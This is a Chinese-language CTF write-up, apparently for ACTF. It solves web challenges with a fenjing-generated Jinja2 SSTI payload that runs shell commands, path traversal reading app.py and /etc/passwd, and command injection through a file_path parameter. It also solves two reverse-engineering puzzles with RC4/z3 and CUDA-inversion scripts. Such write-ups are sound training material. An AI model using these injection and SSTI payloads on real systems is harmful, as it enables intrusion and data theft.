这里只要让PKCS1_v1_5.new(public_key).verify(msg_hash, sig)不抛出错误就能让valid为True,并不需要让PKCS1_v1_5.new(public_key).verify(msg_hash, sig)返回True。随便注册一个号,把user_name改成admin就行

用fenjing生成一个payload

from fenjing import exec_cmd_payload, config_payload
import logging
import urllib
logging.basicConfig(level=logging.INFO)

def waf(s: str):  # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = ["'", "_", "#", "&", ";"]
    return all(word not in s for word in blacklist)


if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "grep -r 'ACTF{'")
    shell_payload = urllib.parse.quote(shell_payload)
    print(f"{shell_payload=}")

得到

%7B%25set%20gr%3D%22%5Cx67%5Cx72%5Cx65%5Cx70%5Cx20%5Cx2d%5Cx72%5Cx20%5Cx27%5Cx41%5Cx43%5Cx54%5Cx46%5Cx7b%5Cx27%22%25%7D%7B%25set%20qw%3Dlipsum%7Cescape%7Cbatch%2822%29%7Cfirst%7Clast%25%7D%7B%25set%20gl%3Dqw%2A2%2B%22globals%22%2Bqw%2A2%25%7D%7B%25set%20bu%3Dqw%2A2%2B%22builtins%22%2Bqw%2A2%25%7D%7B%25set%20im%3Dqw%2A2%2B%22import%22%2Bqw%2A2%25%7D%7B%7Bg.pop%5Bgl%5D%5Bbu%5D%5Bim%5D%28%22os%22%29.popen%28gr%29.read%28%29%7D%7D

ACTF{CvE-2014-0160-Yyds_h34R78LeEd_ooB_D47A_onLY}

ACTF upload

注册账号后获得随便上传一个文件,测试接口有任意文件读取

路径穿越读取源码app.py

d406b11d-6d3a-4c81-bce2-44533902b241

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
    if session.get('username'):
        return redirect(url_for('upload'))
    else:
        return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
                return redirect(url_for('index'))
            else:
                flash('Invalid password')
        else:
            session['username'] = username
            return redirect(url_for('index'))
    else:
        return '''
        <h1>Login</h1>
        <h2>No need to register.</h2>
        <form action="/login" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <br>
            <input type="submit" value="Login">
        </form>
        '''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if not session.get('username'):
        return redirect(url_for('login'))
    
    if request.method == 'POST':
        f = request.files['file']
        file_path = str(uuid.uuid4()) + '_' + f.filename
        f.save('./uploads/' + file_path)
        return redirect(f'/upload?file_path={file_path}')
    
    else:
        if not request.args.get('file_path'):
            return '''
            <h1>Upload Image</h1>
            
            <form action="/upload" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
            </form>
            '''
            
        else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'
                
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

/upload 路由,当用户以 admin 身份登录并通过 GET 请求访问,且提供了 file_path 参数时

执行os.system(f'base64 {file_path} > /tmp/{file_path}.b64')

可以构造一个包含 shell 命令的 file_path 参数发送 GET 请求到 /upload

例如:file_path=filename.txt; ls /;

填充的语句为base64 filename.txt; ls /; > /tmp/filename.txt; ls /;.b64

查一下admin的哈希,明文是backdoor

7c5ff906-3cd0-47c8-b3b1-2bf5f8d6110d

构造的命令执行后并不会传递执行结果,所以需要写入一个文件作为载体来读取RCE结果

于是构造1.txt; ls / > result.txt;

生成的result.txtapp.py在同一个路径当中

这里需要使用admin权限执行,然后再使用非admin用户来读取文件内容

/upload?file_path=../../../../etc/passwd;%20ls%20/%20%3E%20ex.txt;
/upload?file_path=../ex.txt

d097a292-508e-4e4d-abf2-9e09fdf2703b

直接利用file_path读取即可

/upload?file_path=../../../../Fl4g_is_H3r3

RE

ezFPGA

Verilog的程序,使用deepseek翻译成Python代码,大致如下,先对flag做运算后再进行魔改RC4,异或变成了加法运算

class Encryptor:
    def __init__(self, flag=None):
        # 初始化参数
        self.FLAG = list(b"ACTF{testflag}") if flag is None else list(flag)
        self.l = len(self.FLAG)

        # 初始化数组
        self.aa = [0] * 39  # 39字节数组
        # 填充 FLAG 到 aa 的前 l 个位置
        for i in range(self.l):
            self.aa[i] = self.FLAG[i]
        # 后续位置补零(Verilog generate 行为)

        # 固定系数数组
        self.ab = [11, 4, 5, 14]
        # 计算 ac 数组
        self.ac = []
        for i in range(36):
            val = (self.aa[i] * self.ab[0] +
                   self.aa[i + 1] * self.ab[1] +
                   self.aa[i + 2] * self.ab[2] +
                   self.aa[i + 3] * self.ab[3]) % 256
            self.ac.append(val)

        # 固定矩阵 ad
        self.ad = [
            116, 174, 193, 124, 102, 100, 11, 193, 115, 4, 127, 139, 98, 214, 197, 145,
            97, 151, 31, 30, 117, 15, 230, 179, 235, 25, 244, 202, 73, 222, 15, 191, 119, 140, 94, 32
        ]
        # 计算 ae 数组
        self.ae = []
        for i in range(36):
            base = (i // 6) * 6
            col = i % 6
            ae_val = (
                             self.ac[base] * self.ad[col] +
                             self.ac[base + 1] * self.ad[col + 6] +
                             self.ac[base + 2] * self.ad[col + 12] +
                             self.ac[base + 3] * self.ad[col + 18] +
                             self.ac[base + 4] * self.ad[col + 24] +
                             self.ac[base + 5] * self.ad[col + 30]
                     ) % 256
            self.ae.append(ae_val)

        # RC4 相关变量
        self.ba = list(range(256))  # 初始化 S-box
        self.db = list(b"eclipsky")  # 密钥
        self.af = [0] * 36

        # 状态机寄存器
        self.ca = 0
        self.cb = 0
        self.cg = 0
        self.da = 0
        self.cypher = 0
        self.state = "S1"  # 初始状态(复位后进入 S1)

        # 临时变量
        self.cd = 0
        self.ce = 0
        self.cf = 0
        self.ch = 0

    def _update_temp_vars(self):
        """更新组合逻辑变量"""
        self.cd = (self.ca + 1) % 256
        self.ce = (self.cb + self.ba[self.cd]) % 256
        self.cf = (self.ba[self.cd] + self.ba[self.ce]) % 256
        self.ch = (self.cg + self.ba[self.da] + self.db[self.da % 8]) % 256

    def clock(self, rst=False):
        """模拟时钟上升沿触发"""
        if rst:
            # 复位逻辑
            self.ca = 0
            self.cb = 0
            self.cg = 0
            self.da = 0
            self.cypher = 0
            self.state = "S1"
            self.ba = list(range(256))  # 重置 S-box
            return

        # 组合逻辑更新
        self._update_temp_vars()

        # 状态机逻辑
        if self.state == "S0":
            if self.da != 255:
                self.ba[self.da] = self.da
                self.da += 1
            else:
                self.ba[self.da] = self.da
                self.da = 0
                self.state = "S1"

        elif self.state == "S1":
            if self.da != 255:
                # 交换 ba[da] 和 ba[ch]
                self.ba[self.da], self.ba[self.ch] = self.ba[self.ch], self.ba[self.da]
                self.cg = self.ch
                self.da += 1
            else:
                self.ba[self.da], self.ba[self.ch] = self.ba[self.ch], self.ba[self.da]
                self.da = 0
                self.state = "S2"

        elif self.state == "S2":
            if self.da < 36:
                # 交换 ba[cd] 和 ba[ce]
                self.ba[self.cd], self.ba[self.ce] = self.ba[self.ce], self.ba[self.cd]
                # 生成 af
                self.af[self.da] = (self.ba[self.cf] + self.ae[self.da]) & 0xff
                self.ca = self.cd
                self.cb = self.ce
                self.da += 1
            else:
                self.da = 0
                self.state = "S3"

        elif self.state == "S3":
            if self.da < 36:
                self.cypher = self.af[self.da]
                self.da += 1
            else:
                self.cypher = 0

    def run_simulation(self, cycles=1000):
        """运行完整加密流程"""
        # 复位初始化
        self.clock(rst=True)

        # 运行状态机
        for _ in range(cycles):
            self.clock()
            if self.state == "S3" and self.da >= 36:
                break

    def get_cypher(self):
        """获取加密结果"""
        return bytes(self.af)


# 使用示例
if __name__ == "__main__":
    # 实例化加密模块
    enc = Encryptor()
    # 运行仿真
    enc.run_simulation()
    # 输出密文
    print("Generated Cypher:", enc.get_cypher().hex())

分析testbench.v文件会将所有信号都纯在Testbench.vcd文件中,密文也在其中

image-20250427124435391

使用GTKWave提取密文

image-20250427125226223

一开始提取的密文是这样的但是反复测试发现解密不出,使用自定义加密后的数据测试发现可以解密出,考虑是密文的问题,最后的00应该不属于密文范围内,但是这样一来只有35个密文

image-20250427125618782

尝试在所有下标处插入0 - 255范围内的字符进行解密,在下标7的位置插入0x25得出flagimage-20250427125928794

from z3 import *

def process_data(param_a, param_b):
    arr = list(range(256))
    idx = 0

    for i in range(256):
        idx = (idx + arr[i] + (param_a[i % len(param_a)])) % 256
        arr[i], arr[idx] = arr[idx], arr[i]

    x = y = 0
    output = []
    for b in param_b:
        x = (x + 1) % 256
        y = (y + arr[x]) % 256
        arr[x], arr[y] = arr[y], arr[x]
        v2 = arr[(arr[x] + arr[y]) % 256]
        output.append((b - v2) & 0xff)

    return output

original_data_list = [
    0xAD, 0x00, 0xC0, 0x9F, 0x16, 0x17, 0xEC, 0x25,
    0x1F, 0x12, 0xE2, 0x7F, 0x9F, 0x37, 0x53, 0x12,
    0xBA, 0x8D, 0x38, 0x60, 0x14, 0x1B, 0x31, 0x8E,
    0x13, 0xE2, 0x56, 0x0A, 0x1A, 0x25, 0xB9, 0x80,
    0x73, 0x8A, 0x60
]

secret_code = b"eclipsky"


ad = [116, 174, 193, 124, 102, 100, 11, 193, 115, 4, 127, 139, 98, 214, 197, 145, 97, 151, 31, 30, 117, 15, 230, 179, 235, 25, 244, 202, 73, 222, 15, 191, 119, 140, 94, 32]
ab = [11, 4, 5, 14]


for pos in range(len(original_data_list) + 1):
    for byte in range(256):
        new_data_list = original_data_list.copy()
        new_data_list.insert(pos, byte)
        input_data = bytes(new_data_list)

        enc = process_data(secret_code, input_data)

        if len(enc) != 36:
            continue

        s = Solver()
        flag = [BitVec(f"v{i}", 8) for i in range(36)]

        aa = [0] * 39
        for i in range(len(flag)):
            aa[i] = flag[i]

        ac = []
        for i in range(36):
            ac.append((aa[i] * ab[0] + aa[i + 1] * ab[1] + aa[i + 2] * ab[2] + aa[i + 3] * ab[3]) & 0xFF)

        ae = []
        for i in range(36):
            base = (i // 6) * 6
            col = i % 6
            ae_i = (
                ac[base] * ad[col] +
                ac[base + 1] * ad[col + 6] +
                ac[base + 2] * ad[col + 12] +
                ac[base + 3] * ad[col + 18] +
                ac[base + 4] * ad[col + 24] +
                ac[base + 5] * ad[col + 30]
            ) & 0xFF
            ae.append(ae_i)

        s.add(flag[0] == ord('A'))
        s.add(flag[1] == ord('C'))
        s.add(flag[2] == ord('T'))
        s.add(flag[3] == ord('F'))
        s.add(flag[4] == ord('{'))

        for i in range(36):
            s.add(ae[i] == enc[i])

        if s.check() == sat:
            print(f"Found possible byte: 0x{byte:02x} at position {pos}")
            model = s.model()
            flag_str = ''.join([chr(model[flag[i]].as_long()) for i in range(36)])
            print(f"Flag: {flag_str}")
            exit(0)

print("No valid byte found.")

deeptx

ida打开,逻辑比较简单,读取判断14+50+1024字节的文件头,通过Layer1,Layer2,Layer3三个函数进行加密:

image-20250427215404997

使用cuda toolkit进行dump:

cuobjdump --dump-ptx quiz > cubin_dump.txt

对函数功能进行分析:

  • Layer1是对图像进行卷积,Layer2是对像素位置进行查表替换,Layer3是对像素值进行异或、XTEA加密、异或、查表累加替换

对每个部分进行分别解密:

查表替换逆向:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <ctype.h>
#include <stdint.h>
#include <omp.h>

#include"box.h"

int total_threads=256;
uint8_t rsbox[256]={};

void r6(uint8_t *input, uint8_t* output, uint32_t tid, uint32_t bid){
  uint32_t global_idx = bid * total_threads + tid;

  uint8_t accum = input[global_idx];
  for (uint32_t i = 4137823-1; i >=8; i--) {
    uint8_t mixed=rsbox[accum];
    uint8_t tbox_val = cuda_tbox[i & 0xFF];
    mixed ^= tbox_val;
    accum = (mixed - (uint8_t)(bid ^ tid))*197;
    accum = ((accum >> 3) | (accum << 5)) & 0xFF;
  }

  output[global_idx] = accum;
}

int main() {
    FILE* fp=fopen("E:\\Desktop\\reverse\\deep_flag.bmp","rb");
    uint8_t head[55]={},td[1024]={},data[0x10000]={};
    uint8_t in[0x10000]={},out[0x10000]={};
    fread(head,1,54,fp);
    fread(td,1,1024,fp);
    fread(data,1,0x10000,fp);
    fclose(fp);
    for(int i=0;i<256;i++){
      rsbox[cuda_sbox[i]]=i;
    }
    
    printf("processing r6\n");
    #pragma omp parallel for
    for(int i=255;i>=0;i--){
      for(int j=255;j>=0;j--){
        r6(data,out,j,i);
      }
    }
    fp=fopen("E:\\Desktop\\reverse\\middle_flag.bmp","wb");
    fwrite(head,1,54,fp);
    fwrite(td,1,1024,fp);
    fwrite(out,1,0x10000,fp);
    fclose(fp);
}

线性方程求解:

import numpy as np
from tqdm import tqdm

cuda_sbox = [] #略
cuda_tbox = [] #略

val_list = []

def mod_inverse(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        return None  # 逆元不存在
    else:
        return x % m

def extended_gcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = extended_gcd(b % a, a)
        return (g, x - (b // a) * y, y)

def matrix_inverse_mod_numpy(A, mod):
    n = A.shape[0]
    aug = np.hstack((A, np.eye(n, dtype=np.int32)))
    for col in range(n):
        # 寻找主元
        pivot = None
        for r in range(col, n):
            if aug[r, col] % mod != 0 and np.gcd(aug[r, col], mod) == 1:
                pivot = r
                break
        if pivot is None:
            return None
        # 交换行
        aug[[col, pivot]] = aug[[pivot, col]]
        # 计算逆元并归一化
        inv = mod_inverse(aug[col, col], mod)
        if inv is None:
            return None
        aug[col] = (aug[col] * inv) % mod
        # 消元
        for r in range(n):
            if r != col:
                factor = aug[r, col]
                aug[r] = (aug[r] - factor * aug[col]) % mod
    # 提取逆矩阵
    inv_A = aug[:, n:].astype(np.int32) % mod
    return inv_A

rsbox = [0] * 256
l2tbox = [0] * 65536
total_threads = 256

def r2(input_data, output_data, tid, bid):
    output_data[bid*256 + tid] = input_data[l2tbox[bid*256 + tid]]


def main():
    with open("E:/Desktop/reverse/middle_flag.bmp", "rb") as fp:
        head = bytearray(fp.read(54+1024))
        in_data = bytearray(fp.read(0x10000))
    
    # 预计算val_list
    print("Precomputing val_list...")
    val_list.clear()
    for i in tqdm(range(256)):
        t = []
        sbox_val = cuda_sbox[i]
        for j in range(256):
            t.append(sbox_val)
            sbox_val = (sbox_val * 5 + 17) & 0xFF
        val_list.append(t)
    
    # 构造系数矩阵A
    print("Constructing coefficient matrix A...")
    A = np.zeros((256, 256), dtype=np.int32)
    for k in tqdm(range(256)):
        for j in range(256):
            A[k, j] = cuda_tbox[val_list[k][j]]
    
    # 计算逆矩阵
    print("Calculating inverse matrix...")
    inv_A = matrix_inverse_mod_numpy(A, 256)
    
    if inv_A is not None:
        print("Using matrix inverse for fast solving...")
        # 将in_data转换为NumPy数组以加速处理
        in_data_np = np.frombuffer(in_data, dtype=np.uint8).astype(np.int32)
        # 处理每个块
        for i in tqdm(range(256)):
            ct = in_data_np[i*256 : (i+1)*256]
            x = (inv_A @ ct) % 256
            in_data[i*256 : (i+1)*256] = x.astype(np.uint8).tobytes()
    else:
        print("Matrix A is singular. Using Gaussian elimination per block...")
        
    # 写入文件
    with open("E:/Desktop/reverse/high_flag.bmp", "wb") as fp:
        fp.write(head)
        fp.write(in_data)

if __name__ == "__main__":
    main()

异或及XTEA解密:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <ctype.h>
#include <stdint.h>
#include <omp.h>

#include"box.h"

int total_threads=256;
uint8_t rsbox[256]={};
uint8_t tacn[65536]={};

void r3(uint8_t* input, uint32_t tid, uint32_t bid){
  //printf("dec %d\n",tid);
  uint32_t global_idx = bid * total_threads + tid;
  input[global_idx]^=(bid&tid);
}
void r4(uint8_t* input, uint32_t tid, uint32_t bid){
    uint32_t global_idx = bid * total_threads + tid;
  if ((tid & 7) == 0) {
    uint32_t state[2] = {*((uint32_t*)(input + global_idx)), 
                        *((uint32_t*)(input + global_idx + 4))};
    uint32_t key = 1786956040 + (uint32_t)(-1708609273) * 3238567;
    
    for (int i = 3238566; i >= 0; i--) {
        key -= (uint32_t)(-1708609273);
        state[0] += ((state[1] << 4) + 621668851) ^ 
                               (key + state[1]) ^ 
                               ((state[1] >> 5) + (uint32_t)(-862448841));
        
        state[1] -= ((state[0] << 4) + 1386807340) ^ 
                            ((state[0] >> 5) + 2007053320) ^ 
                            (state[0] + key);
    }
    *((uint32_t*)(input + global_idx)) = state[0];
    *((uint32_t*)(input + global_idx + 4)) = state[1];
  }
}
void r5(uint8_t* input, uint32_t tid, uint32_t bid){
    uint32_t global_idx = bid * total_threads + tid;
  input[global_idx] ^= (bid|tid);
}

int main() {
    FILE* fp=fopen("E:\\Desktop\\reverse\\high_flag.bmp","rb");
    uint8_t head[55]={},td[1024]={},data[0x10000]={};
    uint8_t in[0x10000]={},out[0x10000]={};
    fread(head,1,54,fp);
    fread(td,1,1024,fp);
    fread(data,1,0x10000,fp);
    fclose(fp);

    printf("processing r3\n");
    #pragma omp parallel for
    for(int i=255;i>=0;i--){
      for(int j=255;j>=0;j--){
        r3(data,j,i);
      }
    }

    printf("processing r4\n");
    #pragma omp parallel for
    for(int i=255;i>=0;i--){
      for(int j=255;j>=0;j--){
        r4(data,j,i);
      }
    }

    printf("processing r5\n");
    #pragma omp parallel for
    for(int i=255;i>=0;i--){
      for(int j=255;j>=0;j--){
        r5(data,j,i);
      }
    }

    fp=fopen("E:\\Desktop\\reverse\\higher_flag.bmp","wb");
    fwrite(head,1,54,fp);
    fwrite(td,1,1024,fp);
    fwrite(data,1,0x10000,fp);
    fclose(fp);
}


像素移位的恢复:


cuda_sbox = [] #略
cuda_tbox = [] #略

l2tbox = [0] * 65536
total_threads = 256

def r2(input_data, output_data, tid, bid):
    output_data[bid*256 + tid] = input_data[l2tbox[bid*256 + tid]]


def main():
    out_data = bytearray(0x10000)
    with open("E:/Desktop/reverse/higher_flag.bmp", "rb") as fp:
        head = bytearray(fp.read(54+1024))
        in_data = bytearray(fp.read(0x10000))
    
    # 初始化l2tbox
    for i in range(256):
        for j in range(256):
            result_idx = cuda_sbox[j % 256] * total_threads + cuda_sbox[i % 256]
            l2tbox[i*256 + j] = result_idx
    
    # 处理r2
    for i in range(65536):
        r2(in_data, out_data, i % 256, i // 256)
    
    # 写入文件
    with open("E:/Desktop/reverse/highest_flag.bmp", "wb") as fp:
        fp.write(head)
        fp.write(out_data)

if __name__ == "__main__":
    main()

反卷积:

img = imread('E:\\Desktop\\reverse\\highest_flag.bmp');
img = im2double(img);

cuda_motion = []; %略

psf = reshape(cuda_motion, [16, 16])';

psf = psf / sum(psf(:));

padded_img = padarray(img, [15, 15], 'replicate', 'post');

H = psf2otf(psf, size(padded_img));
recovered_img = deconvlucy(padded_img, psf, 50);

result = recovered_img(1:size(img,1), 1:size(img,2));


figure;
imshow(result); title('恢复结果');